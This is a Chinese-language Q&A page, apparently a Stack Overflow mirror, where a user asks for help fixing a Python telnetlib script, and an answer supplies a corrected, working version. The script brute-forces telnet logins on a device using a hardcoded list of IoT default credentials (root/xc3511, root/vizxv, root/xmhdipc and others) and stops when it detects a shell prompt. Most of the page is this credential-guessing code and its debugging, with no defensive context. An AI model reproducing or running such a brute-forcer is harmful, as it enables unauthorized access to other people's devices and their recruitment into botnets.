【问题标题】:Read username and password by iterating through a tuple通过遍历元组读取用户名和密码
【发布时间】:2019-07-07 21:21:08
【问题描述】:

我正在尝试使用 python3 telnetlib 库连接到设备,但不是指定单个用户名/密码(如下所示),我想从元组中读取凭据,并遍历它们直到它找到匹配项。

下面是使用单个用户名的 telnetlib 示例。

import telnetlib
import sys
import getpass

bot = telnetlib.Telnet("192.168.1.128")
bot.read_until(b"login: ")
bot.write(("pi\n").encode('ascii'))
bot.read_until(b"Password: ")
bot.write(("pass12345\n").encode('ascii'))

我已经尝试了以下,但是脚本确实连接但只尝试第一个用户名和密码,然后挂起而不尝试任何其他凭据。

非常感谢任何帮助。

 passwords = [('root', 'xc3511'), ('pi', 'raspberry'), ('pi', 'raspberry'),('admin', 'admin'), ('root', '888888'), ('root', 'xmhdipc'), ('root', 'default'), ('root', 'juantech'), ('root', '123456'), ('root', '54321'), ('support', 'support')]


def telnet_brute():

    print("Trying to authenticate to the telnet server")
    tn = telnetlib.Telnet('192.168.0.131', timeout=10)
    ip = '192.168.0.131'
    passwordAttempts = 0
    for tuples in passwords:

        passwordAttempts = passwordAttempts + 1
        print('[*] Password attempt ' + str(passwordAttempts) + ' on device ' + str(ip))
        try:
            tn.expect([b"Login: ", b"login: "], 5)
            tn.write(tuples[0].encode('ascii') + b"\r\n")
            tn.expect([b"Password: ", b"password"], 5)
            tn.write(tuples[1].encode('ascii') + b"\r\n")
            tn.read_all().decode('ascii')

            (i, obj, res) = tn.expect([b"Login Incorrect", b"Login incorrect"], 5)

            if i != -1:
                print("Exploit failed")
            else:
                if any(map(lambda x: x in res, [b"#", b"$", b"~$", b" "])):
                    print("Login successful:",tuples[0], tuples[1])
                    break
                else:
                    print("Exploit failed")

            tn.close()


        except Exception as e:
            print(f"Connection error: {e}")

if __name__ == '__main__':
    telnet_brute()

【问题讨论】:

    标签: python-3.x telnetlib


    【解决方案1】:

    您的代码抛出异常并通过中断 for 循环在 except 块中处理并静默结束,这就是您的程序仅尝试第一个用户名和密码的原因。 所以作为了解发生了什么的第一步你应该用 print(e) 替换 break 语句

    except Exception as e:
        print(e)
    

    我没有尝试您的代码,但看起来此行中未定义名称“密码”:

            if password:
    

    更新答案:

    passwords = [('root', 'xc3511'), ('root', 'vizxv'), ('root', 'admin'),('admin', 'admin'), ('root', '888888'), ('root', 'xmhdipc'), ('root', 'default'), ('root', 'juantech'), ('root', '123456'), ('root', '54321'), ('support', 'support')]
    
    def telnet_brute():
    
        print("Trying to authenticate to the telnet server")
        tn = telnetlib.Telnet('192.168.0.130', timeout=10)
        ip = '192.168.0.130'
        passwordAttempts = 0
        for tuples in passwords:
    
            passwordAttempts = passwordAttempts + 1
            print('[*] Password attempt ' + str(passwordAttempts) + ' on device ' + str(ip))
            try:
                tn.expect([b"Login: ", b"login: "], 5)
                tn.write(tuples[0].encode('ascii') + b"\r\n")
                tn.expect(["Password: ", "password"], 5)
                tn.write(tuples[1].encode('ascii') + b"\r\n")
    
                (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)
    
                if i != -1:
                    print("Incorrect password or username")
                else:
                    if any(map(lambda x: x in res, [b"#", b"$", b">"])) or len(res) > 500:
                        print(f"Login successful: {tuples[0]}, {tuples[1]}")
                        tn.write(b"exit\n")
                        print(tn.read_all()) 
                        break
                    else:
                        print(f"got this res after login:\n{res}")
    
                tn.close()
    
    
            except Exception as e:
                print(f"Connection error: {e}")
    
    if __name__ == '__main__':
        telnet_brute()
    

    【讨论】:

    • 感谢您的回复。为我因流感而耽搁的时间道歉。我会尝试您建议的代码并回复您,但再次感谢您的帮助。
    • hi @Sameh 尝试了代码,但结果相同。该脚本尝试第一个用户名/密码,然后挂起直到连接超时。就像它仍然没有遍历元组以尝试下一个和后续的登录详细信息
    • 更新了代码。你能试试新代码吗,让我知道输出是什么。谢谢。
    • 嘿@Sameh 尝试了您的代码,经过一些细微的更改后,它现在可以遍历字典。最后一个问题是,当它成功找到用户名/密码并登录时,它不会停止并打印“登录成功”消息,而是继续使用更多用户名/密码遍历字典 - 有什么想法吗?非常感谢您花时间提供帮助!
    • 您只需要在打印登录成功后使用break语句跳出循环,我正在更新我的答案,检查一下。如果我的回答有帮助,请不要忘记将我的回答标记为已接受。和代表表示赞赏。
    猜你喜欢
    • 2018-07-06
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2022-07-18
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多